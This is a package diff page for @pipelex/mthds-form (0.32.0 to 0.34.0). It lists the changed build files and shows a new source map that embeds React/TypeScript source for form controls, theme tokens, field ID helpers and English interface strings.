@pipelex/mthds-form 0.32.0 → 0.34.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (36) hide show
  1. package/README.md +1 -1
  2. package/dist/brand/index.js +2 -2
  3. package/dist/{chunk-PCNFELNT.js → chunk-5RV3ASMO.js} +141 -69
  4. package/dist/chunk-5RV3ASMO.js.map +1 -0
  5. package/dist/{chunk-VH5CDQDR.js → chunk-AURDKAIC.js} +3 -3
  6. package/dist/{chunk-VH5CDQDR.js.map → chunk-AURDKAIC.js.map} +1 -1
  7. package/dist/{chunk-ZX52CQJ4.js → chunk-CFBK7NO7.js} +3 -3
  8. package/dist/{chunk-ZX52CQJ4.js.map → chunk-CFBK7NO7.js.map} +1 -1
  9. package/dist/{chunk-3GO65HWP.js → chunk-PNNWNRPG.js} +11 -7
  10. package/dist/chunk-PNNWNRPG.js.map +1 -0
  11. package/dist/{chunk-XO5OENNF.js → chunk-TF4RTKLH.js} +32 -5
  12. package/dist/chunk-TF4RTKLH.js.map +1 -0
  13. package/dist/{chunk-IBBAJXIO.js → chunk-XIWBKV7T.js} +3 -3
  14. package/dist/{chunk-IBBAJXIO.js.map → chunk-XIWBKV7T.js.map} +1 -1
  15. package/dist/{chunk-VBXFGUCG.js → chunk-XYS5KCXB.js} +465 -112
  16. package/dist/chunk-XYS5KCXB.js.map +1 -0
  17. package/dist/core/gate.js +2 -2
  18. package/dist/core/index.js +4 -4
  19. package/dist/core/readiness.d.ts +34 -1
  20. package/dist/core/readiness.js +1 -1
  21. package/dist/core/seed.js +2 -2
  22. package/dist/core/values.js +2 -2
  23. package/dist/{field-renderer-Dz03dpig.d.ts → field-renderer-BYN6YrU-.d.ts} +6 -6
  24. package/dist/generative/headless/index.d.ts +53 -16
  25. package/dist/generative/headless/index.js +3 -2
  26. package/dist/generative/index.d.ts +79 -25
  27. package/dist/generative/index.js +942 -275
  28. package/dist/generative/index.js.map +1 -1
  29. package/dist/react/index.d.ts +56 -29
  30. package/dist/react/index.js +4 -4
  31. package/dist/styles.css +1 -1
  32. package/package.json +1 -1
  33. package/dist/chunk-3GO65HWP.js.map +0 -1
  34. package/dist/chunk-PCNFELNT.js.map +0 -1
  35. package/dist/chunk-VBXFGUCG.js.map +0 -1
  36. package/dist/chunk-XO5OENNF.js.map +0 -1
@@ -0,0 +1 @@
1
+ {"version":3,"sources":["../src/react/utils.ts","../src/react/concept-pill.tsx","../src/react/field-presentation.tsx","../src/react/role-tokens.ts","../src/react/ui/switch.tsx","../src/react/field-dom-id.tsx","../src/react/boolean-field.tsx","../src/react/locales/calendar.ts","../src/react/locales/en.ts","../src/react/locales/fr.ts","../src/react/locales/index.ts","../src/react/field-strings.tsx","../src/react/field-shell.tsx","../src/react/field-styles.ts","../src/react/date-field.tsx","../src/react/encoded-file.ts","../src/react/source-list.tsx","../src/react/style-tokens.ts","../src/react/ui/dialog.tsx","../src/react/ui/toggle.tsx","../src/react/ui/toggle-group.tsx","../src/react/file-picker.tsx","../src/react/list-drop-area.ts","../src/react/file-field.tsx","../src/react/ui/select.tsx","../src/react/enum-field.tsx","../src/react/number-field.tsx","../src/react/text-field.tsx","../src/react/optional-toggle.tsx","../src/react/object-field.tsx","../src/react/focus.ts","../src/react/list-file-drop.tsx","../src/react/row-moves.ts","../src/react/list-field.tsx","../src/react/unknown-field.tsx","../src/react/field-renderer.tsx","../src/react/ui/alert-dialog.tsx","../src/react/ui/dropdown-menu.tsx","../src/react/example-fill.tsx","../src/react/method-form.tsx","../src/react/absolute-url.ts","../src/react/html-frame.ts","../src/react/markup-storage.ts","../src/react/save-in-browser.ts","../src/react/result-env.tsx","../src/react/overlay-layer.tsx","../src/react/result-location.tsx","../src/react/focus-frame.tsx","../src/react/pdf-viewer.ts","../src/react/ui/tooltip.tsx","../src/react/file-name-dialog.tsx","../src/react/page-layout.ts","../src/react/paginate.ts","../src/react/print-media.ts","../src/react/html-pdf.ts","../src/react/pdf-download-button.tsx","../src/react/html-preview.tsx","../src/react/image-viewer.tsx","../src/react/markdown.tsx","../src/react/extracted-page-text.tsx","../src/react/html-entities.ts","../src/react/extracted-text.ts","../src/react/result-field.tsx","../src/react/stuff-viewer.tsx"],"names":["ImageIcon","Icon","jsx","React","createContext","use","jsxs","total","AND","OR","TIME","DAY","DAY_YEAR","PERCENT","formatFileDate","formatBytes","someNames","Label","React2","React3","React4","useState","useEffect","useRef","useId","useMemo","FileText","useContext","useCallback","Loader2","Fragment","X","React5","Check","Minus","Plus","within","useDropzone","Upload","React6","React7","handOver","NO_UPLOADS","order","doc","React8","stem","span","spans","side","useLayoutEffect","pdfFileName","StepButton","code","BLANK_LINE","end","TriangleAlert","ExternalLink","EyeOff","Eye","ImageOff","ChevronDown","ChevronRight","document","content","useSyncExternalStore","Copy","name","Download"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAIO,SAAS,MAAM,MAAA,EAAsB;AAC1C,EAAA,OAAO,OAAA,CAAQ,IAAA,CAAK,MAAM,CAAC,CAAA;AAC7B;AAwBO,SAAS,WAAW,MAAA,EAAiD;AAC1E,EAAA,OAAA,CACG,OAAO,MAAA,KAAW,QAAA,IAAY,OAAO,MAAA,KAAW,eACjD,MAAA,KAAW,IAAA,IACX,OAAQ,MAAA,CAA8B,IAAA,KAAS,UAAA;AAEnD;ACpBA,IAAM,aAAA,GAAsD;AAAA,EAC1D,IAAA,EAAM,IAAA;AAAA,EACN,IAAA,EAAM,YAAA;AAAA,EACN,QAAA,EAAU,QAAA;AAAA,EACV,KAAA,EAAOA,OAAA;AAAA,EACP,MAAA,EAAQ,IAAA;AAAA,EACR,OAAA,EAAS,UAAA;AAAA,EACT,MAAA,EAAQ,UAAA;AAAA,EACR,UAAA,EAAY,MAAA;AAAA,EACZ,IAAA,EAAM;AACR,CAAA;AAcO,SAAS,WAAA,CAAY,EAAE,UAAA,EAAY,QAAA,EAAU,WAAU,EAAqB;AACjF,EAAA,MAAMC,KAAAA,GAAO,cAAc,QAAQ,CAAA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';\nimport { twMerge } from 'tailwind-merge';\nimport { hasOwnProp } from '../core/own-property';\n\nexport function cn(...inputs: ClassValue[]) {\n return twMerge(clsx(inputs));\n}\n\n/**\n * Order-independent deep equality for JSON-shaped values (form data, inputs).\n * Objects compare by key set + value, arrays by index. Enough for comparing\n * two plain data snapshots; not a general structural-equality library (no\n * Map/Set/Date/cycle handling - none of which appear in the data it guards).\n */\nexport function isDeepEqual(a: unknown, b: unknown): boolean {\n if (a === b) return true;\n if (typeof a !== 'object' || typeof b !== 'object' || a === null || b === null) return false;\n if (Array.isArray(a) || Array.isArray(b)) {\n if (!Array.isArray(a) || !Array.isArray(b) || a.length !== b.length) return false;\n return a.every((item, i) => isDeepEqual(item, b[i]));\n }\n const aObj = a as Record<string, unknown>;\n const bObj = b as Record<string, unknown>;\n const aKeys = Object.keys(aObj);\n const bKeys = Object.keys(bObj);\n if (aKeys.length !== bKeys.length) return false;\n return aKeys.every((k) => hasOwnProp(bObj, k) && isDeepEqual(aObj[k], bObj[k]));\n}\n\n/** Whether a host's `onDropFile` handed back its upload, rather than nothing. */\nexport function isThenable(answer: unknown): answer is PromiseLike<unknown> {\n return (\n (typeof answer === 'object' || typeof answer === 'function') &&\n answer !== null &&\n typeof (answer as { then?: unknown }).then === 'function'\n );\n}\n","'use client';\n\nimport {\n Braces,\n CalendarDays,\n FileText,\n Hash,\n Image as ImageIcon,\n List,\n ListChecks,\n ToggleLeft,\n Type,\n} from 'lucide-react';\nimport { cn } from './utils';\nimport type { ConceptCategory } from '../core';\n\nconst CATEGORY_ICON: Record<ConceptCategory, typeof Type> = {\n text: Type,\n date: CalendarDays,\n document: FileText,\n image: ImageIcon,\n number: Hash,\n boolean: ToggleLeft,\n choice: ListChecks,\n structured: Braces,\n list: List,\n};\n\ninterface ConceptPillProps {\n /** The concept identifier, e.g. `native.Document`, `demo.Invoice`. */\n conceptRef?: string;\n category: ConceptCategory;\n className?: string;\n}\n\n/**\n * The small monospace type tag shown beside an input's name. Mono + a line icon\n * (never a colored chip) keeps the technical Pipelex voice without spending a\n * chromatic accent - the concept *type* is information, not a status.\n */\nexport function ConceptPill({ conceptRef, category, className }: ConceptPillProps) {\n const Icon = CATEGORY_ICON[category];\n const label = conceptRef ?? category;\n return (\n <span\n className={cn(\n 'inline-flex items-center gap-1 font-mono text-[10.5px] leading-none text-muted-foreground',\n className,\n )}\n >\n <Icon className=\"h-3 w-3 shrink-0 opacity-70\" strokeWidth={1.75} aria-hidden />\n <span className=\"truncate\">{label}</span>\n </span>\n );\n}\n","'use client';\n\nimport { createContext, use, type ReactNode } from 'react';\nimport { enumValueLabeler, humanizeFieldName } from '../core/humanize';\n\n/**\n * How a field's LABEL chrome, and the enum values a person reads, should read.\n * What a control stores never changes.\n *\n * - `studio` (default): the field's name verbatim in mono, with its concept\n * pill. The name IS the identifier a builder writes in the `.mthds` file, so\n * showing it exactly - and typed - is the point. An enum value is shown as its\n * code for the same reason: it has to match the bundle and the JSON the\n * builder reads next.\n * - `app`: the field's name as a human question in sans, no concept pill. Inside\n * a method app, `full_name` and `native.Text` are implementation detail; the\n * person filling the form has never seen the method's source. An enum value\n * follows the label and reads as words, worded by the kernel's rule\n * (`enumValueLabeler` in the core entry).\n *\n * An enum value is the only value the two presentations show differently. A\n * number, a text, a date and every other value render the same in both.\n *\n * Deliberately a context rather than a prop or a `FieldEnv` flag: only the\n * components that own label chrome or an enum value's wording read it -\n * `FieldShell`, `ObjectField`, `BooleanField`, `ListField`, `EnumField`, the\n * result view and the generative layer's choice controls (`Select`, `Radio`,\n * `Segmented`) - plus the file control, whose card hides a storage reference\n * in `app`, and threading a prop would have meant editing every field control\n * and both recursive containers.\n */\nexport type FieldPresentation = 'studio' | 'app';\n\nconst FieldPresentationContext = createContext<FieldPresentation>('studio');\n\nexport function FieldPresentationProvider({\n presentation,\n children,\n}: {\n presentation: FieldPresentation;\n children: ReactNode;\n}) {\n return <FieldPresentationContext value={presentation}>{children}</FieldPresentationContext>;\n}\n\nexport function useFieldPresentation(): FieldPresentation {\n return use(FieldPresentationContext);\n}\n\n/**\n * How ONE enum's values are shown under a presentation: the switch the form's\n * options, the result view's value and the generative layer's choice controls\n * all go through, so a result and the form that produced it read the same way.\n *\n * In `studio` every value is its code, because it has to match the bundle. In\n * `app` it is the kernel's wording, `enumValueLabeler`: a declared option reads\n * as words, unless two options of the enum would read the same or the value is\n * one the enum does not declare.\n */\nexport function enumLabeler(\n options: readonly string[],\n presentation: FieldPresentation,\n): (value: string) => string {\n return presentation === 'app' ? enumValueLabeler(options) : asWritten;\n}\n\nfunction asWritten(value: string): string {\n return value;\n}\n\n/**\n * The one label expression every chrome-owning component uses: an authored\n * `title` is authoritative and shown verbatim in both presentations; only the\n * identifier fallback is humanised in app mode. An empty title stays empty -\n * that is how a list row suppresses its per-row label.\n */\nexport function fieldLabel(\n title: string | undefined,\n name: string,\n presentation: FieldPresentation,\n): string {\n if (title !== undefined) return title;\n return presentation === 'app' ? humanizeFieldName(name) : name;\n}\n","/**\n * The two optional colour tokens beyond the contract, named after the roles\n * they paint, and the classes every control and produced-layout component\n * paints them with.\n *\n * `--primary` is the button colour, and a branded button colour can be\n * anything a person picked - an amber, a pale yellow - which is a fine fill and\n * unreadable as text. So the button colour is only ever a solid fill, and the\n * two roles that want the team's accent without being a button read a token a\n * branding host defines, each derived to read on what it sits on (the\n * `./brand` entry's `deriveBrandRoles` returns them):\n *\n * - `--link`, the accent as text (`accentInk`): an eyebrow or a section number\n * on the page, and the checkmark, tag or step number on the selected fill.\n * `deriveBrandRoles` measures that ink against the page and against the\n * fill, so one token serves both.\n * - `--selected`, the pale accent fill (`accentFill`) behind a selected pill\n * or toggle, a chosen file, a tag or a completed step.\n *\n * A selected pill and a tag are also outlined in the accent: their border is\n * `--link` at 40%, so nothing selected keeps the button colour in its edge,\n * and a native radio or check box is checked in the accent ink.\n *\n * Focus is not one of them: every focus the controls draw is the contract's\n * `--ring`, which a branding host sets to the accent ink as well (see\n * `./field-styles`). A form's field draws it as its border and a vendored\n * primitive as a ring; everything else in the tab order draws\n * `focusOutlineClass` below, or `focusOutlineInsetClass` where the element\n * fills its container, or, on a frame, the same inset outline as\n * `frameFocusOutlineClass`, so the outline is spelled in one place.\n *\n * A host that defines neither gets exactly what these elements painted before\n * the tokens were read: each falls back to the `--primary` expression it\n * replaced - the token itself for text, the same `color-mix()` tint Tailwind\n * writes for `bg-primary/10` for a fill, and the same mix at 40% for an edge,\n * which was `border-primary/40` - so an unbranded page renders as it always\n * did.\n *\n * They are arbitrary values rather than named utilities on purpose. A Tailwind\n * host compiles the package's classes against its OWN theme, so a `text-link`\n * utility would exist only in a host that happened to map `--color-link`, and\n * would paint nothing anywhere else; an arbitrary value carries its own `var()`\n * chain, so every build that scans the package generates it. Each string is\n * written out whole because Tailwind finds a class by reading source text: a\n * class assembled from pieces at run time is a class no build generates. The\n * innermost fallback is `theme.css`'s light `--primary`, as every token read\n * around the `@theme inline` mapping must spell it, and `make assert-bundle`\n * holds every chain and that value. See docs/theming.md § \"Link, selected and\n * focus\".\n */\n\n/** The accent as text, on the page or on the selected fill: an eyebrow, a section number, a tag, a checkmark. */\nexport const linkTextClass = 'text-[color:var(--link,var(--primary,hsl(240_5.9%_10%)))]';\n\n/** The pale accent fill of something selected, falling back to `bg-primary/10`. */\nexport const selectedFillClass =\n 'bg-[color:var(--selected,color-mix(in_oklab,var(--primary,hsl(240_5.9%_10%))_10%,transparent))]';\n\n/** The same fill on a pressed item (`data-state=\"on\"`), so it outranks the item's hover fill as `data-[state=on]:bg-primary/10` did. */\nexport const selectedStateFillClass =\n 'data-[state=on]:bg-[color:var(--selected,color-mix(in_oklab,var(--primary,hsl(240_5.9%_10%))_10%,transparent))]';\n\n/** The same fill on a chosen row (`aria-checked=\"true\"`), so it outranks the row's neutral hover fill as a pressed item's does. */\nexport const selectedCheckedFillClass =\n 'aria-checked:bg-[color:var(--selected,color-mix(in_oklab,var(--primary,hsl(240_5.9%_10%))_10%,transparent))]';\n\n/** The pale accent fill of a completed step, falling back to `bg-primary/15`. */\nexport const selectedFillStrongClass =\n 'bg-[color:var(--selected,color-mix(in_oklab,var(--primary,hsl(240_5.9%_10%))_15%,transparent))]';\n\n/** The accent's edge around something selected, `--link` at 40%, falling back to `border-primary/40`. */\nexport const selectedBorderClass =\n 'border-[color:color-mix(in_oklab,var(--link,var(--primary,hsl(240_5.9%_10%)))_40%,transparent)]';\n\n/** The same edge on a pressed item (`data-state=\"on\"`), as `data-[state=on]:border-primary/40` drew it. */\nexport const selectedStateBorderClass =\n 'data-[state=on]:border-[color:color-mix(in_oklab,var(--link,var(--primary,hsl(240_5.9%_10%)))_40%,transparent)]';\n\n/** The same edge under the pointer, around a list's \"Add item\", which drew the button colour at 40% there. */\nexport const selectedHoverBorderClass =\n 'hover:border-[color:color-mix(in_oklab,var(--link,var(--primary,hsl(240_5.9%_10%)))_40%,transparent)]';\n\n/** The checked colour of a native radio or check box: the accent ink, falling back to the button colour it was checked in. */\nexport const checkedAccentClass = 'accent-[color:var(--link,var(--primary,hsl(240_5.9%_10%)))]';\n\n/**\n * The keyboard focus of everything in the tab order that does not draw it as\n * a field's border: a solid 2px outline in `--ring`, 1px clear of the element.\n * The style is stated, not left to Tailwind's `--tw-outline-style` default, so\n * the outline is drawn whatever else sets that variable.\n *\n * An outline, never a ring with an offset: Tailwind's ring offset is a solid\n * box-shadow painted in a colour (`ring-offset-background`, the page's), not\n * a gap, so inside a panel filled otherwise, a style's muted or lifted panel,\n * it showed as a band of the page between the control and its ring. An\n * outline's offset is a real gap, through which the surface shows.\n */\nexport const focusOutlineClass =\n 'focus-visible:outline-solid focus-visible:outline-2 focus-visible:outline-offset-1 focus-visible:outline-ring';\n\n/**\n * The same outline on a drop target whose own input is clip-hidden, drawn\n * while focus is anywhere inside it, since the element that takes focus\n * cannot show one.\n */\nexport const focusWithinOutlineClass =\n 'focus-within:outline-solid focus-within:outline-2 focus-within:outline-offset-1 focus-within:outline-ring';\n\n/**\n * The same outline drawn 2px inside the element's edge, for a row, a frame or\n * a scroll region that fills its container, where an outline outside it would\n * be clipped or would cross its neighbour.\n */\nexport const focusOutlineInsetClass =\n 'focus-visible:outline-solid focus-visible:outline-2 focus-visible:-outline-offset-2 focus-visible:outline-ring';\n\n/**\n * The inset outline on a frame, drawn on the `data-focus-visible` that\n * `FocusFrame` sets, because no focus selector matches a frame whose document\n * holds focus (see `./focus-frame`).\n */\nexport const frameFocusOutlineClass =\n 'data-focus-visible:outline-solid data-focus-visible:outline-2 data-focus-visible:-outline-offset-2 data-focus-visible:outline-ring';\n","import * as React from 'react';\nimport * as SwitchPrimitives from '@radix-ui/react-switch';\n\nimport { focusOutlineClass } from '../role-tokens';\nimport { cn } from '../utils';\n\n/**\n * The track is 44 by 24. Below `sm` it keeps that look and reaches the 44 by\n * 44 a finger is given through an invisible `::after`, 10px above and below\n * it: a row holding a switch leaves that much room, so the area never covers\n * the control beside it.\n *\n * An off track is `--muted-foreground`, the colour a field's description,\n * an unselected pill's label and a placeholder are already set in on the\n * field fill, so a palette in which those read gives the track its edge on\n * the row it sits in (3:1, WCAG 1.4.11); the contract holds the thumb, in\n * `--background`, to 4.5:1 on it. It was `--input`, the fill of the\n * boolean's own row, and an off switch read as a lone thumb on every host.\n *\n * Its focus is the kernel's one outline, standing 1px clear of the track, so\n * the gap shows the row it sits in rather than a band of the page.\n */\nconst Switch = React.forwardRef<\n React.ElementRef<typeof SwitchPrimitives.Root>,\n React.ComponentPropsWithoutRef<typeof SwitchPrimitives.Root>\n>(({ className, ...props }, ref) => (\n <SwitchPrimitives.Root\n className={cn(\n 'peer inline-flex h-6 w-11 shrink-0 cursor-pointer items-center rounded-full border-2 border-transparent transition-colors disabled:cursor-not-allowed disabled:opacity-50 data-[state=checked]:bg-primary data-[state=unchecked]:bg-muted-foreground',\n focusOutlineClass,\n \"max-sm:relative max-sm:after:absolute max-sm:after:-inset-x-0.5 max-sm:after:-inset-y-3 max-sm:after:content-['']\",\n className,\n )}\n {...props}\n ref={ref}\n >\n <SwitchPrimitives.Thumb\n className={cn(\n 'pointer-events-none block h-5 w-5 rounded-full bg-background shadow-lg ring-0 transition-transform data-[state=checked]:translate-x-5 data-[state=unchecked]:translate-x-0',\n )}\n />\n </SwitchPrimitives.Root>\n));\nSwitch.displayName = SwitchPrimitives.Root.displayName;\n\nexport { Switch };\n","'use client';\n\nimport { createContext, use, useId, type ReactNode } from 'react';\n\n/**\n * The DOM id a control writes, derived from the field id rather than equal to it.\n *\n * `FieldRenderer`'s `id` is a value PATH - `ObjectField` composes children as\n * `parent.child`, `ListField` rows as `list.0`, and a host writes an upload back\n * with `setValueAtPath(values, id.split('.'), uploaded)`. See `upload-seam.md`;\n * that contract is unchanged and this module does not touch it.\n *\n * The same string used to be written verbatim as the control's `id` and its\n * `<label for>` target, where it must instead be document-UNIQUE, and nothing\n * made it so. Two forms mounted at once whose methods each declare an input\n * named `text` emitted two `<textarea id=\"text\">`; per HTML a `<label for>` binds\n * the first element in tree order, so the second form's label went dead and its\n * control fell down the accessible-name chain to its placeholder - a screen\n * reader announcing \"Write here…\" instead of the field's name.\n *\n * A path is not unique across forms and cannot be made so without breaking the\n * write-back, so the two roles are separated instead: the path stays the path,\n * and only the DOM write is namespaced.\n *\n * **No host change is required.** With no provider above it, each control mints\n * its own prefix from `useId`, which is unique per instance within a React\n * root and hydration-stable - so mounting the same method twice in one app is\n * correct by default. `useId` cannot see across roots, though: separate roots\n * left on React's default `identifierPrefix` may emit the same sequences, so a\n * host mounting forms in separate roots (islands, microfrontends) gives each\n * root its own `identifierPrefix` - or each root's provider a distinct prefix.\n * `FieldDomIdProvider` is for hosts that want the ids to be PREDICTABLE rather\n * than merely unique: a deterministic prefix makes `getElementById` and\n * deep-link focus work. Predictability moves the uniqueness obligation to the\n * host - a provider scopes ONE form, since everything under it shares its one\n * prefix, and an explicit prefix must be unique in the document. Passing\n * `prefix=\"\"` restores path-as-id exactly, which is the escape hatch for a\n * host that addressed the old ids and has not moved yet - and it reintroduces\n * the collision, so it is only safe for one form.\n */\nconst FieldDomIdContext = createContext<string | null>(null);\n\nexport function FieldDomIdProvider({\n prefix,\n children,\n}: {\n /**\n * Omit to mint one from `useId`; `''` writes the path unprefixed. An explicit\n * prefix must be unique in the document - one provider, one form.\n */\n prefix?: string;\n children: ReactNode;\n}) {\n const generated = useId();\n return <FieldDomIdContext value={prefix ?? generated}>{children}</FieldDomIdContext>;\n}\n\n/**\n * The DOM id for a field path - the ONE place a path becomes an attribute.\n *\n * Called once per control so the `<label for>` and the control's `id` are the\n * same string by construction: the pairing cannot drift, because there is only\n * one call. `useId` runs unconditionally (hooks must) and is simply unused when\n * a provider supplies the prefix.\n */\nexport function useFieldDomId(path: string): string {\n const scoped = use(FieldDomIdContext);\n const local = useId();\n const prefix = scoped ?? local;\n return prefix === '' ? path : `${prefix}-${path}`;\n}\n","'use client';\n\nimport { cn } from './utils';\nimport type { BooleanRunField } from '../core';\nimport { ConceptPill } from './concept-pill';\nimport { fieldLabel, useFieldPresentation } from './field-presentation';\nimport { Switch } from './ui/switch';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface BooleanFieldProps {\n field: BooleanRunField;\n value: boolean | undefined;\n onChange: (value: boolean) => void;\n id: string;\n disabled?: boolean;\n}\n\n/**\n * A toggle. Unlike the other fields the label sits inline with the control on a\n * single hairline row - a boolean reads better as a switchable statement than as\n * a labelled box.\n */\nexport function BooleanField({ field, value, onChange, id, disabled }: BooleanFieldProps) {\n // Same label chrome switch as `FieldShell` - this control owns its own label\n // because it sits inline with the switch. See `field-presentation.tsx`.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const domId = useFieldDomId(id);\n return (\n <div\n className={cn(\n 'flex items-center justify-between gap-4 rounded-md border border-border bg-input px-3.5 py-3',\n disabled && 'opacity-50',\n )}\n >\n <div className=\"min-w-0 space-y-1\">\n <div className=\"flex flex-wrap items-baseline gap-x-2 gap-y-1\">\n <label\n htmlFor={domId}\n className={cn(\n 'text-[13px] font-medium leading-none text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono',\n )}\n >\n {fieldLabel(field.title, field.name, presentation)}\n </label>\n {!isApp && <ConceptPill conceptRef={field.conceptRef} category=\"boolean\" />}\n </div>\n {field.description && (\n <p className=\"text-[12px] leading-relaxed text-muted-foreground\">{field.description}</p>\n )}\n </div>\n <Switch\n id={domId}\n checked={value ?? false}\n onCheckedChange={onChange}\n disabled={disabled}\n className=\"shrink-0\"\n />\n </div>\n );\n}\n","/**\n * The calendar facts a language pack words a stored file's date from, in the\n * reader's own time zone: how many days before today it was, and whether it\n * was this year. The wording is each pack's; the arithmetic is shared, so no\n * two packs disagree about which day was yesterday.\n */\n\n/**\n * `date`'s local calendar date as a day number: its local year, month and day\n * placed on the UTC calendar, where every day is exactly as long as the next.\n */\nfunction dayNumber(date: Date): number {\n return Date.UTC(date.getFullYear(), date.getMonth(), date.getDate()) / 86_400_000;\n}\n\n/**\n * How many calendar days before `now`'s day `date` falls: 0 for today, 1 for\n * yesterday, negative for a day after today. Counted on the local calendar\n * dates rather than on the time between their midnights, so no change of\n * offset in between shifts it: not a daylight-saving hour, and not a whole\n * day skipped, as Samoa's move across the date line skipped one.\n */\nexport function calendarDaysBefore(date: Date, now: Date = new Date()): number {\n return dayNumber(now) - dayNumber(date);\n}\n\n/** Whether `date` falls in `now`'s calendar year. */\nexport function inCurrentYear(date: Date, now: Date = new Date()): boolean {\n return date.getFullYear() === now.getFullYear();\n}\n","/**\n * The controls' strings in English: the package's defaults, and the pack every unknown or missing\n * locale falls back to (see `fieldStringsFor` in `./index.ts`).\n */\nimport type { FieldStrings } from '../field-strings';\nimport { calendarDaysBefore, inCurrentYear } from './calendar';\n\n/** `512 bytes`, `36 KB`, `1.4 MB` — binary multiples, as a file manager counts them. */\nfunction formatBytes(bytes: number): string {\n if (bytes < 1024) return bytes === 1 ? '1 byte' : `${bytes} bytes`;\n if (bytes < 1024 * 1024) return `${Math.round(bytes / 1024)} KB`;\n return `${(bytes / (1024 * 1024)).toFixed(1)} MB`;\n}\n\n// Lists and dates come from the platform's `Intl`, in British English, which\n// writes a date day first (\"17 Oct\") and a time on the 24-hour clock.\nconst AND = new Intl.ListFormat('en-GB', { type: 'conjunction' });\nconst OR = new Intl.ListFormat('en-GB', { type: 'disjunction' });\nconst TIME = new Intl.DateTimeFormat('en-GB', { hour: '2-digit', minute: '2-digit' });\nconst DAY = new Intl.DateTimeFormat('en-GB', { day: 'numeric', month: 'short' });\nconst DAY_YEAR = new Intl.DateTimeFormat('en-GB', {\n day: 'numeric',\n month: 'short',\n year: 'numeric',\n});\n/** A verdict's measure as a whole percentage: `96%`. */\nconst PERCENT = new Intl.NumberFormat('en-GB', { style: 'percent', maximumFractionDigits: 0 });\n\n/** \"Today, 10:42\", \"Yesterday\", \"17 Oct\", or \"17 Oct 2025\" for another year. */\nfunction formatFileDate(date: Date): string {\n const days = calendarDaysBefore(date);\n if (days === 0) return `Today, ${TIME.format(date)}`;\n if (days === 1) return 'Yesterday';\n return inCurrentYear(date) ? DAY.format(date) : DAY_YEAR.format(date);\n}\n\n/** `a.pdf, b.pdf and c.pdf`, or `a.pdf, b.pdf, c.pdf and 4 more` when some are not named. */\nfunction someNames(names: readonly string[], more: number): string {\n return AND.format(more > 0 ? [...names, `${more} more`] : names);\n}\n\nexport const EN_FIELD_STRINGS: FieldStrings = {\n optionalBadge: 'optional',\n selectPlaceholder: 'Select…',\n typeValuePlaceholder: 'Type a value…',\n writeHerePlaceholder: 'Write here…',\n jsonHint: 'Enter this value as raw JSON.',\n decrease: 'Decrease',\n increase: 'Increase',\n noItemsYet: 'No items yet',\n addItem: 'Add item',\n removeItemAria: (index) => `Remove item ${index}`,\n itemsCount: (count) => (count === 1 ? '1 item' : `${count} items`),\n itemsCountOf: (count, total) => `${count} of ${total} ${total === 1 ? 'item' : 'items'}`,\n fieldsCount: (count) => (count === 1 ? '1 field' : `${count} fields`),\n uploading: 'Uploading…',\n dropToUpload: 'Drop to upload',\n dropOrBrowse: 'Drop a file or click to browse',\n pasteUrlInstead: 'paste a URL instead',\n uploadUnavailable: 'Files cannot be uploaded here. Paste a link to the file instead.',\n urlPlaceholder: 'https://…',\n fileUrlAria: (label) => (label ? `Link to the file for ${label}` : 'Link to the file'),\n uploadedFile: 'Attached file',\n encodedFileSummary: (format, bytes) => `${format} · ${formatBytes(bytes)}`,\n preview: 'Preview',\n removeFileAria: 'Remove file',\n previewUnavailablePdf: 'Preview unavailable - open to view.',\n pdfViewerUnavailable: 'This browser cannot show the PDF here.',\n openInNewTab: 'Open in a new tab',\n // U+002D HYPHEN-MINUS, deliberately: not an en dash, not an em dash.\n resultAbsent: '-',\n resultAbsentDescription: 'Not provided',\n resultUndescribed: 'No output descriptor for this pipe — showing the raw value.',\n toggleRowDetails: (index) => `Show or hide the details of row ${index}`,\n rowDetailsColumn: 'Details',\n copyUrl: 'Copy the URL',\n copyText: 'Copy the text',\n download: 'Download',\n downloading: 'Downloading…',\n downloadIncomplete: (names) =>\n `${names.length === 1 ? 'One file' : `${names.length} files`} could not be saved: ${names.join(', ')}`,\n downloadFile: (name) => `Download ${name}`,\n downloadFileFailed: 'The file could not be saved',\n downloadPdf: 'Download PDF',\n downloadPdfBusy: 'Preparing the PDF…',\n downloadPdfFailed: 'The PDF could not be made',\n pageLoading: 'Loading the page…',\n downloadHtml: 'Download HTML',\n fileNameTitle: 'File name',\n fileNameCancel: 'Cancel',\n fileNameConfirm: 'Download',\n viewRendered: 'Result',\n viewJson: 'JSON',\n copyJson: 'Copy the JSON',\n resultViewGroup: 'Result view',\n yes: 'Yes',\n no: 'No',\n yesProbability: (share) => `Probability of yes: ${PERCENT.format(share)}`,\n verdictConfidence: (share) => `Confidence: ${PERCENT.format(share)}`,\n ratingLevel: (position) => `Level ${position}`,\n pageNumber: (position) => `Page ${position}`,\n extractedTable: 'Table',\n searchSources: 'Sources',\n viewImage: (name) => `View ${name}`,\n imagePosition: (position, count) => `${position} of ${count}`,\n previousImage: 'Previous picture',\n nextImage: 'Next picture',\n openOriginal: 'Open the original',\n unsupportedFileType: (formats) =>\n `That file type is not supported. Accepted formats: ${formats}.`,\n dropFilesOrBrowse: 'Drop files or click to browse',\n dropFilesToAdd: 'Drop to add the files',\n addFilesAria: (label) => (label ? `Add files to ${label}` : 'Add files'),\n filesAdded: (count) => (count === 1 ? '1 file added' : `${count} files added`),\n filesRefused: (names, more, formats) =>\n `${names.length + more === 1 ? 'Not added, because its' : 'Not added, because their'} file type is not supported: ${someNames(names, more)}. Accepted formats: ${formats}.`,\n filesLeftOut: (names, more, fitted) => {\n const these = names.length + more === 1 ? 'this file was' : 'these files were';\n const room =\n fitted === 0\n ? 'The list is full'\n : `The list had room for ${fitted === 1 ? '1 more file' : `${fitted} more files`}`;\n return `${room}, so ${these} not added: ${someNames(names, more)}.`;\n },\n oneFileOnly: 'This field takes one file.',\n oneFileOnlyInList: \"This field takes one file. Drop several files on the list's drop area.\",\n hideOptionalFields: 'Hide optional fields',\n hideOptionalInputs: 'Hide optional inputs',\n optionalFieldsCount: (count) => (count === 1 ? '1 optional field' : `${count} optional fields`),\n optionalInputsCount: (count) => (count === 1 ? '1 optional input' : `${count} optional inputs`),\n requiredField: 'Required',\n incompleteField: 'Incomplete: fill in its required fields',\n runWaitsFor: (names, more) => `Fill in ${someNames(names, more)} to run`,\n uploadFailed: 'This file could not be uploaded. Try again.',\n 